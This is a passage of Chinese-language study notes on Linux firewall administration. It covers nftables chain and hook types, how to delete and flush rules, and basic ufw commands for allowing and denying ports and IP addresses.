* regular chain : 沒有指定 hook,需要其他 hook jump 或 goto 時才會被觸發
* base chain : 有指定 hook,會在該 hook 處理階段時被觸發
* chain type:
* filter : 過濾封包
* route : 修改封包內容
* nat : NAT(網路位址轉換)
* hook type(類似 iptables 的 chain,在特定階段才處理) :
* input
* forward
* output
* prerouting
* postrouting
* ingress(在 prerouting 之前的過濾策略)
* priority (優先度)以數字表示,數字越低表示越先被匹配
* nftables 運作流程 :

* 新增 rules 可以先用 iptables-translate 把 iptables 指令轉成 nftables 指令
```=1
sudo iptables-translate -A INPUT -s 192.168.1.123 -j ACCEPT
# nft add rule ip filter INPUT ip saddr 192.168.1.123 counter accept
```
#### 刪除table , chain , rule
* 刪除 table : `sudo nft delete table [family] [table name]`
* 清空 table : `sudo nft flush table [family] [table name]`
* 刪除 chain : `sudo nft delete chain [family] [table name] [chain name]`
* 清空 chain : `sudo nft flush chain [family] [table name] [chain name]`
* 刪除 rule : `sudo nft delete rule [family] [table name] [chain name] handle [handle number]`
* handle number 在查看 ruleset 時加`-a`可以看到
* 刪除全部 table , chain , rule : `sudo nft flush ruleset`
### reference
* https://hackmd.io/@0xff07/SJqzX9WnF
* https://wiki.nftables.org/wiki-nftables/index.php/What_is_nftables%3F
* https://wiki.nftables.org/wiki-nftables/index.php/Main_Page
* https://www.linode.com/docs/guides/how-to-use-nftables
* https://www.netfilter.org/projects/nftables/manpage.html
## ufw
### 概述
* 防火牆套件
* Uncomplicated Firewall (簡化版 iptables)
* 安裝指令 : `sudo apt install ufw`
### 操作
#### 開關 ufw
* 查看狀態 : `sudo ufw status`
* 詳細狀態 : `sudo ufw status verbose`
* 啟用 ufw : `sudo ufw enable`
* 關閉 ufw : `sudo ufw disable`
* 重設 ufw : `sudo ufw reset`
#### 查看規則
* 顯示目前規則&編號 : `sudo ufw status numbered`
#### 刪除規則
* 刪除第 3 條規則 : `sudo ufw delete 3`
#### 預設規則
* 預設允許 : `sudo ufw default allow`
* 預設拒絕 : `sudo ufw default deny`
#### port 或服務規則
* 允許 ssh port : `sudo ufw allow ssh`
* 拒絕 22 port : `sudo ufw deny 22`
* 允許 TCP 6000~6007 port : `sudo ufw allow 6000:6007/tcp`
#### IP 規則
* 允許 192.168.11.10 的所有連線 : `sudo ufw allow from 192.168.11.10`
* 拒絕 192.168.11.1 ~ 192.168.11.255 的所有連線 : `sudo ufw deny from 192.168.11.0/24`
* 拒絕某 IP 連到某 port : `sudo ufw deny from 192.168.11.7 to any port 22`
#### 啟用 ufw 後查看 iptables 會發現變很亂
* 用 grep 反查 ufw
* `sudo iptables -L -n | grep -v ufw`
* 或是直接查看 iptables 設定檔
### reference
* https://noob.tw/ufw/
* https://zh.wikipedia.org/zh-tw/Uncomplicated_Firewall